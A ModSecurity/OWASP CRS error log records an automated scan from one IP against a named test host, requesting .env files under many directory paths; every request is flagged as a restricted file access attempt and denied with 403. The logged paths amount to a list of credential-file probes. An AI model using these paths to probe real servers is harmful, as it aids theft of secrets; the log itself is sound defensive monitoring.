[Wed Feb 25 06:05:11.276808 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fastlane/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDFAAAAAU&quot;]
[Wed Feb 25 06:05:11.276978 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fastlane/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDFAAAAAU&quot;]
[Wed Feb 25 06:05:11.278309 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /http/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/http/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYowAAAAc&quot;]
[Wed Feb 25 06:05:11.278558 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/http/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYowAAAAc&quot;]
[Wed Feb 25 06:05:11.278709 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/http/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYowAAAAc&quot;]
[Wed Feb 25 06:05:11.310841 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /favicons/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favicons/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDFQAAAAU&quot;]
[Wed Feb 25 06:05:11.311108 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favicons/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDFQAAAAU&quot;]
[Wed Feb 25 06:05:11.311296 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favicons/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDFQAAAAU&quot;]
[Wed Feb 25 06:05:11.359363 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /favs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favs/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDFgAAAAU&quot;]
[Wed Feb 25 06:05:11.359601 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favs/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDFgAAAAU&quot;]
[Wed Feb 25 06:05:11.359772 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favs/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDFgAAAAU&quot;]
[Wed Feb 25 06:05:11.390331 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /httpboot/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpboot/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYpAAAAAc&quot;]
[Wed Feb 25 06:05:11.390623 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpboot/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYpAAAAAc&quot;]
[Wed Feb 25 06:05:11.390832 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpboot/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYpAAAAAc&quot;]
[Wed Feb 25 06:05:11.451823 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /httpdocs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpdocs/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYpQAAAAc&quot;]
[Wed Feb 25 06:05:11.452149 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpdocs/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYpQAAAAc&quot;]
[Wed Feb 25 06:05:11.452351 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpdocs/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYpQAAAAc&quot;]
[Wed Feb 25 06:05:11.457360 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fe/huey/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FE/huey/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDFwAAAAU&quot;]
[Wed Feb 25 06:05:11.457602 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FE/huey/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDFwAAAAU&quot;]
[Wed Feb 25 06:05:11.457800 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FE/huey/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDFwAAAAU&quot;]
[Wed Feb 25 06:05:11.486497 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fedex/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fedex/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDGAAAAAU&quot;]
[Wed Feb 25 06:05:11.486739 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fedex/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDGAAAAAU&quot;]
[Wed Feb 25 06:05:11.486891 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fedex/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDGAAAAAU&quot;]
[Wed Feb 25 06:05:11.526356 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fhir-api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fhir-api/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDGQAAAAU&quot;]
[Wed Feb 25 06:05:11.526617 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fhir-api/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDGQAAAAU&quot;]
[Wed Feb 25 06:05:11.526792 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fhir-api/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDGQAAAAU&quot;]
[Wed Feb 25 06:05:11.531545 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /huniv_migration/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/HUNIV_migration/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYpgAAAAc&quot;]
[Wed Feb 25 06:05:11.531837 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/HUNIV_migration/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYpgAAAAc&quot;]
[Wed Feb 25 06:05:11.532007 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/HUNIV_migration/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYpgAAAAc&quot;]
[Wed Feb 25 06:05:11.562134 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /files/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDGgAAAAU&quot;]
[Wed Feb 25 06:05:11.562387 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDGgAAAAU&quot;]
[Wed Feb 25 06:05:11.562537 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDGgAAAAU&quot;]
[Wed Feb 25 06:05:11.597417 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /icon/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icon/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYqAAAAAc&quot;]
